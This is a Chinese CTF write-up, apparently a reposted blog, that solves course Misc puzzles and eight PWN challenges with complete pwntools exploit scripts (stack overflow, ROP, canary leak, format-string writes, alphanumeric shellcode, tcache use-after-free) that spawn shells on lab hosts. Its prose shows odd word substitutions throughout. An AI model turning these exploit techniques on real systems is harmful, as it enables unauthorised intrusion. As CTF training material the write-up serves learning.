按我个人的习惯是要罗嗦几句的,与题目无关,可以直接跳过,如有打扰请体贴。
前一段时间事件颇繁,但还是锱铢必较地抽出时间来学学不停以来比较感爱好的CTF(紧张方向是Misc和PWN)。由于我本人的CTF起步很晚,现在也只能做一些非常简单的题目和角逐,所以就先把研究重心放在了相对较为基础的题目和方法上。
恰逢同砚问我,最近他们选修的一门课程(简称“关基”)需要做一些CTF题目,当作结课任务,但对于从来没有接触过CTF的同砚来说实在是有难度。同时,他们平常的科研项目比较忙,没有富足的时间自己试错,所以可否寻求一些帮助,更加高效地学习。
秉持着授人以鱼也授人以渔、也委曲算教学相长的初衷,我看了看题目,做了些研究,而且办理了里面涉及到的所有Misc和PWN题目。下面将WP举行汇总,一方面可以让几位深受课程任务困扰的同砚得到解放,另一方面也当作自己学习之旅的一项记录。
Respect to CTFer C0Lin.
Misc WP
写在前面:
有些题目虽然flag打出来了,但是VMC上直接交并不会通过。看思绪和flag的值,理论上这些题目的flag应该都不是fake flag,除了最后一个OCR识别准确度可能有问题之外,其他应该都是正确的。不知道是不是平台的问题。思绪仅供参考,假如flag打不通,可以自行复现寻找问题,或基于下面的思绪做进一步探究,也欢迎批评指正。
Misc1-压缩包加解密
Truezip是zip文件,但是看起来是伪加密。送入工具ZipCenOp自动去伪加密,就可以解压了。解压压缩包,拿到文件内容,是一个图片。
相信明眼人都看得出这是个二维码。剩下的工作就是需要手补三个定位区域,而且右下角识别块从外到内是白黑白,所以还需要先黑白反色处理一下。
反色+手补定位区域后的图如下,之后任意用个什么东西扫一扫就可以拿flag了。
Misc2-文件识别、合并和分离
我印象中直接上binwalk是出不了东西的,但是可以直接上foremost,如许就能分离出一个png文件夹一个zip文件夹。(看来有时间binwalk不如foremost强力。)
先看png文件夹,一个图,图上是一个字符串。
再看zip文件夹,是一个加密后的zip。到此就没有别的信息了,所以推测png的字符串就是解密密码。发现确实如此,解出一个新的Flags文件夹。
看Flags文件夹内容,一个假flag的txt和一个真flag的图。
Fakeflag.txt内容是一段字符串“this_is_fake_zip”。
看TrueFlag需要倒过来,真flag=vmc{小丑(FakeFlag)}。
再倒归去,小丑emoji看作函数的话,小丑emoji=MD5_32。
所以,网上找个工具把FakeFlag.txt内容MD5_32处理,然后套个vmc{}交就行了。
留意vmc平台明确说了,其中出现的字母均为小写。
Misc3-图片隐写
名字是图片隐写,但图片压根打不开,所以看看hex情况。
已知jpg文件头一般为FF D8 FF E0 || 00 10 4A 46 但看下图,也就是WhoAreYou.jpg的头部,是E0 FF D8 FF || 46 4A 10 00,所以推测是4个字节为一组的前后位置互换,直接上脚本。
- ans = []
- f = open('./WhoAreYou.jpg', 'rb')
- ls = []
- for l in f.readlines():
- for i in l:
- ls.append(i)
- for i in range(0, len(ls), 4):
- if i+3 > len(ls):
- break
- ans.append(ls[i+3])
- ans.append(ls[i+2])
- ans.append(ls[i+1])
- ans.append(ls[i+0])
-
- f_n = open('hack.jpg', 'wb')
- f_n.write(bytes(ans))
复制代码 生成了一个可以打开的图hack.jpg,到这里才是图像隐写。
通例隐写方法stegsolve直接试一试,在右上角找到flag。
Misc4-流量包分析
Wireshark打开,单看流量好像没什么异常,看看包含的内容,试着导出http对象列表,发现希奇的文件ncc.png,保存到当地。
stegsolve看没东西,思量png宽高修改。ctf-tools-all-in-one的png宽高功能一把梭了,右图。
Misc5-音频隐写
五月天的歌,好听,就是听不出什么异常。
思量最通例的音频隐写术之一,直接上Audacity听歌+看频谱图。
把频谱图时间粒度调的细一点,听一遍歌就找到flag。
Misc6-简单的音乐
还是五月天的歌,还是好听,还是就是听不出什么异常。
是个Mp3文件,思量mp3隐写术MP3Stego,但解这种隐写需要密码,所以还需要找找音乐里有没有什么密码。
拖进Ubuntu直接strings命令扫字符串,奈何密码直接贴脸了,剩下的就是跑脚本。
跑完mp3stego,解密出来的文本就是flag。
Misc7-生日
下载下来是一个加密压缩包,这个伪加密脚本梭不了,是真加密。联系题目,“猜猜生日”,直接纯数字开爆,爆出来zip解密密码为20010207。
解压出来是一段txt。
根据C0Lin的说法,可以把404 985 996 251映射到0 1 2 3,也就是4进制,然后每四个4进制数为一组。由于flag的格式为“vmc{”开头,所以最开始的“404 985 404 996”应该对应字符v。v的ascii码为118,转换成4进制是1312(404 985 404 996)。那剩下的251就对应0了。
到这里就不消罗嗦了,上脚本。
- ls=[404,985,404,996,404,996,985,404,404,996,251,985,404,985,996,985,404,251,996,996,404,996,996,404,404,404,985,985,404,251,404,251,404,996,404,404,251,985,251,404,404,404,985,985,404,404,251,985,404,985,404,404,251,985,251,404,404,404,985,985,404,985,251,985,404,251,996,251,404,996,404,404,404,996,985,996,404,404,985,985,404,404,996,251,251,985,251,404,404,996,404,404,404,404,985,985,404,996,404,251,404,251,251,404,404,996,996,404,404,404,985,985,404,251,985,251,404,985,404,404,404,404,985,985,404,985,996,404,404,996,996,404,404,996,985,996,404,404,985,985,404,996,251,996,404,996,996,404,404,985,985,404]
- def getnum(a):
- if a == 251:
- return 0
- elif a == 996:
- return 2
- elif a == 404:
- return 1
- else :
- return 3
- for i in range(0, len(ls), 4):
- ascii = getnum(ls[i])*64 + getnum(ls[i+1])*16 + getnum(ls[i+2])*4 + getnum(ls[i+3])
- print(chr(ascii),end='')
复制代码
Misc8-总不能一个个打吧
理论上想一个个打到txt里面固然可以,而且应该会更对一些。
但我是懒狗,所以也可以OCR,任意找家在线OCR识图。
谈到编码,不得不首先试一发base64,发现还真给试到了。
至此,Misc的题目就都被办理了。没什么绕的地方,都是顺理成章得到的。
PWN WP
写在前面:
虽然PWN考的知识点都不一样,而且涵盖比较广,但整体来讲关基题目还是难度递增的,所以假如要边看边学的话,建议完全看会了前面的题再解锁后面的,不要太急于求成了。
Pwn1-栈溢出
最基本的栈溢出题目,也是最简单的题型之一,算是PWN的入门必会。只有把这个题彻彻底底搞懂才有可能继承,否则基本可以不消看后面的题了。
checksec结果:
64位。没开canary,所以可以放心大胆地栈溢出。其他全开,但无所谓,用不着。
IDA逆向:
F5看反编译源码。定位到毛病函数pwn,在读comment(也就是v2)的时间,一共可以读0x100(256)个字符进去,但是v2的长度只有248,所以可以多读,进而覆盖到下面的v3变量的值。
利用思绪:
在15/16行,假如判断v3的值不为0x1337ABC,那么就报错return;假如判断成功,则给system("/bin/sh"),也就拿到了靶机的命令行权限,进而就可以cat flag读字符串了。
那么思绪就是:
- 任意传个什么东西给name,也就是局部变量s;
- 传248字节的垃圾'a'给comment,也就是局部变量v2,把v2塞满;
- 在64位下,传数值0x1337ABC,修改v3。如许,步伐就并不会提前return,而是跑去执行system函数了,就可以cat flag。(当地我在/目录下放了一个flag文件用于演示)
exp:
- from pwn import *
- context.log_level = 'debug'
- context.arch = 'amd64'
- p = process('./pwn1.bin')
- elf = ELF('./pwn1.bin')
- p = remote('10.12.153.73',13973)
- p.sendafter('name:', b'ptms:HiThere~')
- p.sendafter('comment:', b'a' * 248 + p64(0x1337ABC))
- p.interactive()
复制代码 Pwn2-ret2syscall
看名字就知道是怎么回事了,要返回到调用syscall的位置,通过系统调用拿flag。
checksec结果:
64位。没开canary,可以放心大胆栈溢出。没开PIE,地点不随机化,是写死的。其他平平无奇,不关心。
IDA逆向:
main函数直接就是一个栈溢出砸脸,buf只有64的长度,但可以读入整整0x100个字节。可以随心所欲溢出了。
还找到一个函数gadget,直接看汇编代码,发现给了四个可用的gadget:pop_rax_ret,pop_rdi_ret,pop_rsi_rdx_ret和syscall。
与此同时,shift+F12看到 /bin/sh 字符串就在0x404040处,思绪就很明确了。
利用思绪:
构造ROP(Return - Oriented Programming)链举行栈溢出。
- 栈溢出,用64字节的垃圾填满buf,再用8字节填满old_rbp;
- 继承栈溢出,填返回地点,这时间返回地点填pop_rax_ret,并紧接着跟一个59到栈上,这是因为64位步伐下,syscall具体执行哪个系统调用由rax决定,而59号系统调用为execve函数,这个设置算是伏笔,直接可以帮我们后续拿到shell,(函数全称为execve(const char *name, const char *const *argv, const char *const *envp));
- 继承栈溢出,填返回地点,这时间返回地点填pop_rdi_ret,并紧接着跟一个/bin/sh的地点到栈上,这是因为64位步伐的函数传参中,前三个参数先后存放在rdi,rsi,rdx,这一步就相称于设置execve函数调用的第一个参数rdi为字符串"/bin/sh";
- 继承栈溢出,填返回地点,这时间返回地点填pop_rsi_rdx_ret,并紧接着跟两个0到栈上,这是因为execve假如要作为拿shell的函数,其第一个参数应该为"/bin/sh"或其他可以拿shell的字符串,第二三个参数都应该为NULL,才能成功;
- 继承栈溢出,填返回地点,到syscall,就可以走系统调用拿shell了,至此终于构造完了我们的ROP链。
exp:
- from pwn import *
- context.log_level = 'debug'
- context.arch = 'amd64'
- p = process('./pwn2.bin')
- elf = ELF('./pwn2.bin')
- p = remote('10.12.153.73',13975)
- payload = b'a' * 64 + p64(0) + p64(0x40117E) + p64(59) + p64(0x401180) + p64(0x404040) + p64(0x401182) + p64(0) * 2 + p64(0x401185)
- p.send(payload)
- p.interactive()
复制代码 Pwn3-简单rop
理论上Pwn2就已经涉及到ROP了,那Pwn3就当一个巩固吧!
checksec结果:
64位。canary开了,这可不是一个好兆头,意味着不能任意栈溢出了。没开PIE,地点写死。其他不关注。
IDA逆向:
首先看main,给了一个system函数,是功德,加上没开PIE,所以可以直接拿到system的函数地点。
然后看vuln函数,一共给了两个read,其中第一个read进去的字符串会接着打印出来,而且可以读48字节(比s多8字节),可以溢出;第二个read进去的则不会打印,但第二个read显着超写了(s只有40,但第二次read可以读0x50个字符进去),所以也可以溢出。
与此同时,shift+F12看到 /bin/sh 字符串就在0x404058处。
同时,还找到gadget函数中有pop_rdi_ret的gadget,思绪就明确了。
利用思绪:
下面默认你已经知道了canary是怎么回事。整体来讲做这个题是两步走战略:1. 泄露canary; 2.带着canary栈溢出。
1.泄露canary:
第一次栈溢出后,会接着打印出读进去的字符串。这时间,我们需要传入41字节的垃圾,利用canary最低一字节为'\0'+printf在碰到'\0'之前不会制止输出的特性,泄露canary。超写的这一字节恰好弥补了canary最低一字节的'\0',printf就会继承向后,打印canary的内容了,好比下图:
图上这个例子中,canary是0x2ab1c571967bfd00,而我们的输入为'a'*40+'b'。其中,40字节的a是垃圾,多出来的1字节的垃圾b恰好盖住了canary低字节的0x00,所以才能通过printf函数看到canary的全貌。
2.带着canary栈溢出:
第二次溢出才是真刀真枪的ROP get shell,首先是40字节的垃圾盖满s,然后是8字节canary,8字节垃圾盖old_rbp,然后才能正常走栈溢出剩余流程:用pop_rdi_ret的gadget把/bin/sh字符串的地点设置为函数调用的第一个参数,然后返回调用system函数,利用system('/bin/sh')拿到shell,最后输出字符串即可。
(在找特点的时间有一个小秘诀,最后的__readfsqword那一行涉及到的变量大概率就是canary变量,本题中是v2,可以把它当作一个临时变量来对待,在拿到canary的具体值后,如Pwn1那样把这个变量就改成canary对应值即可)
exp:
- from pwn import *
- context.log_level = 'debug'
- context.arch = 'amd64'
- p = process('./pwn3.bin')
- elf = ELF('./pwn3.bin')
- p = remote('10.12.153.73',13977)
- payload = b'a'*40 + b'b'
- p.send(payload)
- p.recvuntil(b'b')
- canary = u64(b'\x00' + p.recv(7))
- print(hex(canary))
- gadget = 0x4011DE
- binsh = 0x404058
- sys = 0x40127E
- payload = b'a'*40 + p64(canary) + p64(0) + p64(gadget) + p64(binsh) + p64(sys)
- print(hex(len(payload)))
- p.send(payload)
- p.interactive()
复制代码 Pwn4-整数溢出
整数溢出的题还是比较标新立异的,而且没太出现过,这道题是一道很有趣的题目。记在小本本上。
checksec结果:
64位。没开canary,可以任意溢出了。没有开PIE,地点写死。其他不关注。
IDA逆向:
首先是main函数,一打眼看上去真的毫无破绽。但这个题究竟是整数溢出,所以肯定是有问题的,那问题出在那边?
涉及到整数运算的就是16/17行,但乍一看确实还没啥问题,所以可以先去看看main控制流下的别的函数,好比init。
init的第4行比较希奇,将signal 8与后门函数backdoor绑定了,而backdoor函数恰好是我们非常非常熟悉的栈溢出(可写入0x100字节,buf长度只有80字节,本题没有canary可以任意溢出)。
此外,另有一个函数getshell,只要把控制流转到这里,这个题就打完了。下面就要分析一下怎么借助整数溢出往这里转。
利用思绪:
signal是C语言的信号函数,通过设置一个回调函数来处理捕捉到异常信号时需要执行的利用。其中signal 8为SIGFPE,CSDN上大佬解释如下:
仔细一看,可以发现16/17行还是有点问题的。虽然被0除这一点在16行被禁止了,但我们仍然可以通过整数溢出来触发SIGFPE,进而让步伐控制流进入backdoor函数,再利用通例的栈溢出将控制流转向getshell函数,办理本题。
如何整数溢出呢?答案就是:构造一个int无法表示的数。int的取值范围是-2,147,483,648到2,147,483,647,负数部分比正数部分绝对值大1,那么只需要构造一个-2,147,483,648 / -1 = 2,147,483,648 > 2,147,483,647,不就溢出了嘛。
再厥后就是通例栈溢出,相信看到这里的你已经对64位通例无canary无PIE还不需要构造传参的栈溢出非常熟悉了,所以不讲啦。可以直接看exp代码。=w=
exp:
- from pwn import *
- context.log_level = 'debug'
- context.arch = 'amd64'
- p = process('./pwn4.bin')
- elf = ELF('./pwn4.bin')
- p = remote('10.12.153.73',13979)
- p.recvuntil('first key :')
- p.sendline(b'2147483648')
- p.recvuntil('second key :')
- p.sendline(b'-1')
- p.recvuntil('name')
- p.send(b'a'*0x50 + p64(0) + p64(0x4007CB))
- p.interactive()
复制代码 Pwn5-ret2libc
ret2libc是栈溢出部分很经典的一类题型,在后续的堆利用也会频仍出现,想上手Pwn的话,ret2libc的解题模板必须牢牢刻在内心。
checksec结果:
64位。canary没开,任意溢出。PIE没开,地点写死,其他不关心。
IDA逆向:
直接看到毛病函数vuln,buf只有64字节,但可以写112字节,爽!
按理来讲,这个时间你需要去像之前一样,找system函数地点和 /bin/sh 字符串地点了,但恭喜你:都没有!
那就只好自己想办法了。这也就是ret2libc的标志,也是其奥妙所在。
利用思绪:
ret2libc一般需要借助plt表和got表实现,同时需要了解步伐运行时动态链接库libc.so的装载机制。
办理这道题的方法,简而言之就是“二进宫”:一进宫,需要泄露libc的装载基地点,二进宫,则是利用libc自带的system函数和/bin/sh字符串,完成get shell。
假定你已经知道got表和plt表的作用,而且明白我们为什么要做libc的地点泄露,那就看下去:
首先是一进宫,我们可以利用栈溢出,借助plt表调用puts函数,将read的got表内容打印出来,如许我们就得到了read函数的真实地点。用read函数的真实地点减去read函数在libc中的符号地点,就可以得到libc的装载地点了。
进一步地,我们就可以用libc装载地点+符号地点的方式,获取libc中system函数的真实地点和某一个/bin/sh字符串的真实地点。
一进宫完成之后,将返回地点设置为main函数的起始地点,步伐就会从头再来一遍,让我们有二次进宫的机会。不同的是,这次我们已经做好了万全的预备。
之后是二进宫,直接开打!/bin/sh字符串地点做参数,调用system,理论上就可以打通了。
思绪走到这一步,联合64位栈溢出的特点,我们还需要找到一个gadget来写rdi,构造给函数传参的ROP链,幸运的是本题同样有一个gadget函数,一切就是这么巧合。
exp:
- from pwn import *
- context.log_level = 'debug'
- context.arch = 'amd64'
- p = process('./pwn5.bin')
- elf = ELF('./pwn5.bin')
- libc = ELF('./libc.so.6')
- p = remote('10.12.153.73',13981)
- gadget = 0x40117E
- main = 0x4011AD
- fgot = elf.got['read']
- fplt = elf.plt['puts']
- p.recvuntil('Go!!!')
- payload = b'a' * 64 + p64(0) + p64(gadget) + p64(fgot) + p64(fplt) + p64(main)
- p.send(payload)
- p.recvlines(1)
- faddr = u64(p.recv(6).ljust(8, b'\x00'))
- print(hex(faddr))
- base = faddr - libc.sym['read']
- binsh = base + next(libc.search(b'/bin/sh'))
- sys = base + libc.sym['system']
- p.recvuntil('Go!!!')
- payload = b'a' * 64 + p64(0) + p64(gadget) + p64(binsh) + p64(sys)
- p.send(payload)
- #p.sendline(b'cat flag')
- p.interactive()
复制代码 Pwn6-格式化字符串
有一说一,格式化字符串是比较大的一个知识点,也是比较强力的一种利用方式,同时也比较磨练动态调试能力。前面的分析基本都是对着IDA反汇编/反编译结果静态分析,到现在才涉及到动态调试。
这道题目只是很浅显的一种格式化字符串利用,有爱好可以多去了解一些格式化字符串的内容。
checksec结果:
32位,属于是爷青回了。没开PIE,地点写死。其他的不关心。(这道题没有栈溢出的事情,所以canary也不关心。但不得不说,格式化串+canary栈溢出的组合还是很经典的。)
IDA逆向:
main函数没有太多东西,紧张还是需要看game函数。看起来像是一个菜单小游戏。menu函数是提供用户选择,一共有4种choice,分别对应talk、attack和chendian函数体,另有一个直接退出,从main函数返回。
introduction和init_person_and_dragon两个函数都是游戏设定,和本题实在关系不大。(至于init_person_and_dragon为什么关系不大,后文分析。)
下面分别分析talk、attack和chendian三个函数。talk函数读入用户的长度为0x10的输入字符串,之后直接将这个字符串printf出来了,这里就存在显着的格式化字符串毛病。
attack函数是游戏本体,联合init_person_and_dragon函数看逆向代码,内容应该是dragon秒杀pwner,然后步伐exit,但纵然是修改dragon和pwner的攻击和血量参数,能够打赢dragon,10/11行也只是说我们succeed了,并没有实质性地给shell或者flag,所以这个函数实在只是噱头,没有实际作用。
chendian函数只是调解一些血量和攻击的参数,更是没什么用了。
此外,还找到一个单独的success函数,可以供我们拿flag。所以这道题重点还是围绕talk函数和步伐本身格式化字符串导致的步伐流重定向睁开,而不是一味地玩他的游戏。
利用思绪:
请在了解了格式化字符串后再往下看,下面是通过动态调试时得到思绪的全过程。
首先,这道题没开PIE,地点写死。可以直接去格式化字符串毛病地方的printf语句处下断点,也就是0x080496A0。gdb开动态调试,b *0x080496A0,然后r并输入3举行talk。
这是32位步伐,所以构造talk的内容也就是payload,为 AAAA.%*$p ,其中*由数字更换,如许做的目的是直接看到输入字符串位于第几个参数的位置,颠末一番实验,发现*取7时,恰好会输出AAAA.0x41414141,后面的这串二进制数字,也就是字符串“AAAA”。这也就是说,格式化串开始存放的位置位于栈上的第7个参数位置处。
之后,为了控制步伐执行流,我们需要利用格式化字符串毛病,窜改步伐的返回地点,使其返回到success函数处,进而拿到flag内容。下面就需要调试看看返回地点在栈上的位置。
重新输入r运行起步伐,并再一次断在格式化字符串毛病的printf处。这时间输入字符串aaaa,去找返回地点的偏移。这里可以发现,我们输入的字符串aaaa被放在了0xffffd00c的位置。此外,0xffffd05c处存放了__libc_start_main+245的地点,也就是main函数的返回地点。
因此,我们可以窜改0xffffd05c的值,使其变为success函数的地点值,之后让步伐main函数执行完正常退出,进而改变步伐控制流打印flag的内容。思绪到这里就明确了。
但现在还存在一个问题,就是我们好像没有办法在步伐跑起来时直接拿到栈上我们应该窜改地点的位置(也就是上文中说的0xffffd05c)。这时间就又需要格式化字符串毛病来帮助了,还是上图,可以发现0xffffd048处,存放的值是0xffffd058,恰好是我们存放返回地点处的地点-4,多次调试这一个特性并没有改变。
字符串aaaa所在的0xffffd00c地点对应第7个参数位置的话,那么这一个位置就是第22个参数的位置。首先我们需要做的,就是利用格式化字符串的地点读利用,读出第22个参数的值。如许,读到的值+4,就是我们应该覆盖的返回地点的位置。
之后,则需要利用格式化字符串的地点写。由于我们一次性只能输入0x10长度的格式化字符串,所以没有办法一步到位,需要一步一步地修改返回地点处的值。反正题目没有限制格式化字符串利用的次数,所以可以一个字节一个字节地修改返回地点。
构造payload为%*c%10$n,其中*为返回地点处对应字节要填写的值,并用12字节左对齐补齐payload,最后放返回地点处对应字节的地点。
具体讲讲参数的构造方法:
- %*c表示输出*个字符,这是为了共同后续利用%n举行特定值的写入;
- %10$n和12字节左对齐补齐是因为 %*c%10$n 的这个字符串的长度会介于8到10之间,这是32位步伐,为了栈上的四字节对齐,需要将补充到长度为4的整数倍,也就是12,然后才能写入我们要窜改的目标地点。至于为什么是%10$n,因为格式化串开始存放的位置位于栈上的第7个参数位置处, 而前12个字节分辨占据了第7、8、9个参数位置,所以目标地点自然应该是放在第10个参数位置了。
- 最后放返回地点处对应字节的地点,虽然我们用的是%n一次写入四个字节而不是%hhn一次写入两个字节,但我们可以按顺序从低字节往高字节上写,如许就不会有影响了。
到这里总算是分析完了,虽然反映到exp代码上比较短,但不得不说还是有点绕的,建议自己调试一下再看看是怎么回事。
exp:
- from pwn import *
- context.log_level = 'debug'
- context.arch = 'i386'
- p = process('./pwn6.elf')
- elf = ELF('./pwn6.elf')
- p = remote('10.12.153.73',13983)
- def att():
- p.sendlineafter(b'Your choice: ', b'1')
-
- def cd():
- p.sendlineafter(b'Your choice: ', b'2')
-
- def talk(con):
- p.sendlineafter(b'Your choice: ', b'3')
- p.sendafter(b'talk: ',con)
-
- # str offset starts at 7
- talk(b'%22$p')
- p.recvuntil('0x')
- addr = int(p.recv(8), 16)
- addr += 4
- print(hex(addr))
- backdoor = elf.sym['success']
- for i in range(4):
- payload = b'%' + str((backdoor >> (8 * i)) & 0xff).encode() + b'c%10$n'
- payload = payload.ljust(12, b'a')
- payload += p32(addr + i)
- talk(payload)
- #gdb.attach(p)
- #time.sleep(3)
- p.interactive()
复制代码 Pwn7-shellcode
shellcode是人为传入的一段asm指令序列,步伐在把控制流交到shellcode后,就可以按照攻击者预定好的指令顺序去执行自定义的指令,那么拿到get shell自然不是一件难事。
这个题放在这里像是一股清流。shellcode这种,你说它难吧,倒不像ROP那样想尽办法地构造,也不消ret2libc那样步伐控制流来往返回跑,它就是在汇编层面和你打直球,讲究一个一步到位;你说它简单吧,有的时间又搞一些莫名其妙的限制,卡得人头大。这个题就很典型。
checksec结果:
64位。至于保护,你都毫无防备地跑我的shellcode了,我还管你这个干嘛?
IDA逆向:
看main函数。29行的v7()非常突出,说到底这里就是shellcode执行的语句。那么v7是什么呢?11行说明了,v7是一个0x1000大小堆块的地点,这里放我们用来拿shell的shellcode远远够用。
但假如你试了asm(shellcraft.sh())生成shellcode一把梭,那你就会发现打不通。问题出在哪呢?答案就在在13~21行。
源代码对shellcode里面的每一个字节都举行了遍历审计,利用isalnum函数判断是不是英文字母或数字,是的话就当场拜拜。这就要求我们传进去的shellcode必须是完全由字母和数字构成的特别形态shellcode。这就是问题的关键了。
利用思绪:
假如你要自己写、自己构造的话,那你就遭老罪咯~~~
这里不得不提到杭电大师veritas501设计的工具AE64了。直接把shellcraft.sh()提供的asm shellcode转化为合规的纯字母数字shellcode,一把梭成功。
所以有时间CTF并不但需要一个人能够潜心研讨某个或某几个领域,还需要一个人涉猎广泛、学会搜集信息、紧跟前沿发展、高效借助现有工具。
exp:
- from pwn import *
- from ae64 import AE64
- context.log_level = 'debug'
- context.arch = 'amd64'
- p = process('./pwn7.bin')
- elf = ELF('./pwn7.bin')
- p = remote('10.12.153.73',13985)
- shellcode = asm(shellcraft.sh())
- enc_shellcode = AE64().encode(shellcode)
- p.recvuntil('> ')
- p.send(enc_shellcode)
- p.interactive()
复制代码 Pwn8-堆溢出
打了这么多题目,终于是碰到了一道堆题。能对峙看到这里,相信已经是对Pwn感爱好的人了。那就上点强度吧,一步步干掉这个题。
(温馨提示:堆和栈是并列的两块存储空间,没有附属关系,所以下面会涉及到比较多前面栈部分完全没提及的概念和机制,都是堆专有的,如想吃透本题需要提前专门学学堆概念以及简单堆利用。假如真的有爱好研究Pwn,这并不难。)
checksec结果:
64位。经典的保护全开。Full RELRO表明利用的时间不能修改got表内容引入system函数。
libc版本:
堆题在checksec之余,也需要查抄一下libc版本的相关信息。题目给出了步伐的libc,版本为libc-2.27 ubuntu1.6。在这个libc版本中引入了Tcache机制,本意是进步堆释放和申请的效率,但因为实现得比较原始,所以为利用提供了很好的机会。
IDA逆向:
main函数,超经典菜单题,这个题没有把函数名抹掉,倒是挺人性化的,就不消人工去补函数名了。
按顺序分析,先看add。提供index、size两个参数,记index参数为v1,步伐会分配一个size大小的堆块,并把地点返回给v3。之后,PTR_LIST[index]=堆块地点,SIZE_LIST[index]=对应堆块的size。
再看delete。提供index后,会free掉PTR_LIST[index]的对应堆块,这里的问题就比较大了。free之后没有将指针置零,所以存在UAF毛病,即释放后仍然可以通过指针访问这一块区域。
再看show。提供index之后,步伐会把PTR_LIST[index]指针指向地方的内容作为字符串打出来。
再看edit。提供index之后,步伐会向PTR_LIST[v1]指针指向的区域读入SIZE_LIST[v1]长度的内容,一方面,步伐不会查抄PTR_LIST[v1]指针是否正确,另一方面,这里并不能直接举行超写堆溢出,除非提前去修改SIZE_LIST[v1]的值。有爱好的可以自行探索,本文没有利用题目所说的堆溢出方法。
到这里就逆向完了,下面是利用思绪和调试分析。
利用思绪:
总结一下上面的信息:保护全开 + Libc-2.27-Tcache + UAF毛病。同时在步伐中未发现system等直接get shell函数的符号信息,需要借助堆ret2libc。
大致思绪三步走:1. 泄露Libc基地点; 2. 窜改__free_hook函数内容;3. 故意free一个设计好的/bin/sh堆块,在调用free的时间挟制控制流ret2libc。
每个小步骤又可以继承划分,下面讲全流程。
1. 泄露Libc基地点
为了泄露Libc基地点,首先需要借用一下unsorted bin。这里我们利用的是unsorted bin里面第一个chunk的fd指针和bk指针都指向间隔libc基地点固定偏移处的特性。
(1)分配chunk。由于libc 2.27有Tcache,所以这里为了让chunk可以进入unsorted bin而不进入Tcache(大小涵盖0x20~0x410),可以直接分配一个大小为0x420的chunk,并接着跟着分配一个大小为0x30的chunk,防止大chunk在free后会和top chunk合并。结果如下。(size字段比malloc的参数多0x10,是chunk头部信息,不懂的可以再补一下chunk相关知识。)
(2)释放chunk进入unsorted bin。将0x420的chunk free掉,查抄bins的情况,发现它如我们预期的那样进入了unsorted bin。
利用x/50gx查看这个chunk前后的内容,发现其fd和bk指针都指向0x7f8482e79ca0。
(3)盘算偏移。运行vmmap指令,发现libc基地点是0x7f8482a8e000。
利用前面讲述的特性,unsorted bin chunk的fd指针内容和libc基地点的偏移值固定为0x7f8482e79ca0 - 0x7f8482a8e000 = 0x3EBCA0。因此,我们只需要利用show函数打印得到unsorted bin fd的值,就可以进一步利用减法盘算出libc的基地点。
(4)获取libc基地点。实在上一步已经把思绪说明白了。重新开一个例子,因为PIE,这些地点是不一样的,正好可以用来验证。调用show函数读取步伐chunk的fd指针内容,0x7f09233c4ca0,那么理论上,libc基地点内容就应该是0x7f09233c4ca0 - 0x3ebca0 = 0x7F09 22FD 9000。
这个数对不对呢,vmmap看一下。对的!所以到这里,libc基地点已经可以拿到了!拿到libc基地点之后,__free_hook函数的位置就可以通过libc符号表+基地点的方式确定了。至此,这个题已经办理了50%。
2. 窜改__free_hook函数内容
因为这个题开了FULL RELRO,所以我们不能直接硬干free函数或者步伐其他函数的got表,这时间就需要利用到libc里面的__free_hook函数去打。到这一步,终于是用上了我们在逆向时发现的UAF毛病。还记得前面我们为了防止0x420 chunk和top chunk合并时引入的大小为0x30的chunk嘛,现在就用它来打。
(固然,有时间可能会碰到Tcache只剩一个chunk时无法利用的情况,所以假如要求稳的话可以多分配一个chunk在Tcache里面以进步成功率。这里倒不会受影响,作者就偷懒了。)
(1)释放0x30大小的chunk。直接把它free掉,他的大小正合适,就会被送进Tcache了。
(2)由于存在UAF毛病,所以可以用edit窜改这个已经被释放的chunk的内容。修改它的fd指针,让它的fd指针指向__free_hook函数向低地点偏移0x10的地点处,为后面在这里分配chunk奠基基础。可以看到窜改之后已经蒙混过关了,Tcache以为__free_hook-0x10处也可以分配一个大小为0x30的chunk。
(3)连续从Tcache分配两个大小为0x30的chunk,第一个chunk为刚才释放的chunk,又被从Tcache取了出来;但第二个chunk就不一样了,如我们预期的那样,它直接分在了__free_hook函数向低地点偏移0x10的低地点处。
(4)爆改__free_hook函数内容。利用edit函数修改,__free_hook函数位于chunk内容的第0x10处,所以先用0x10个字节的垃圾填一下,然后借助libc把system的地点填在__free_hook那边。就大功告成。到这一步已经是90%了。
3. 故意free一个设计好的/bin/sh堆块,在调用free的时间挟制控制流。
创建一个0x40大小的堆块,内容用edit函数写成字符串'/bin/sh',接着把它free掉。如许,步伐理论上是该free(PTR_LIST[v1])的,但惋惜,此时的free已经因为__free_hook的改变成了system,而PTR_LIST[v1]指向的恰好就是字符串'/bin/sh',所以实际上,步伐执行的是 system('/bin/sh')。
搞定。
exp:
- from pwn import *
- elf = ELF('./pwn8.bin')
- libc = ELF('./libc-2.27.so')
- p = process('./pwn8.bin')
- p = remote('10.12.153.73',13987)
- def add(idx, size):
- p.sendlineafter(b'Your choice >> ', b'1')
- p.sendlineafter(b'index: ', str(idx))
- p.sendlineafter(b'size: ', str(size))
- def dele(idx):
- p.sendlineafter(b'Your choice >> ', b'2')
- p.sendlineafter(b'index: ', str(idx))
- def show(idx):
- p.sendlineafter(b'Your choice >> ', b'3')
- p.sendlineafter(b'index: ', str(idx))
-
- def edit(idx, con):
- p.sendlineafter(b'Your choice >> ', b'4')
- p.sendlineafter(b'index: ', str(idx))
- p.sendlineafter(b'content: ', con)
- ###### GET LIBC BASE
- # make a chunk in unsorted bin
- add(0, 0x420)
- add(1, 0x30) # to avoid top chunk unlink
- dele(0)
- # unsorted bin chunk: 0x00007fbf4e924ca0 vmmap libc: 7fbf4e539000
- # offset = 3EBCA0
- show(0)
- p.recvuntil('content: ')
- unsorted_chunk = u64(p.recv(6).ljust(8, b'\x00'))
- print('chunk:', hex(unsorted_chunk))
- base = unsorted_chunk - 0x3ebca0
- print('base:', hex(base))
- sys = base + libc.sym['system']
- free_hook = base + libc.sym['__free_hook']
- print('freehook:', hex(free_hook))
- ###### MODIFY FREE_HOOK FUNCTION
- # uaf
- dele(1)
- edit(1, p64(free_hook-0x10))
- add(2, 0x30)
- add(3, 0x30)
- edit(3, p64(0)*2 + p64(sys))
- add(4, 0x40)
- edit(4, b'/bin/sh')
- dele(4)
- p.interactive()
复制代码 上述内容仅供参考,如有纰漏敬请指正!QWQ
(有一说一,虽然这些题都是很基础的题目,但能AK还是很开心的,哈哈哈。)
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |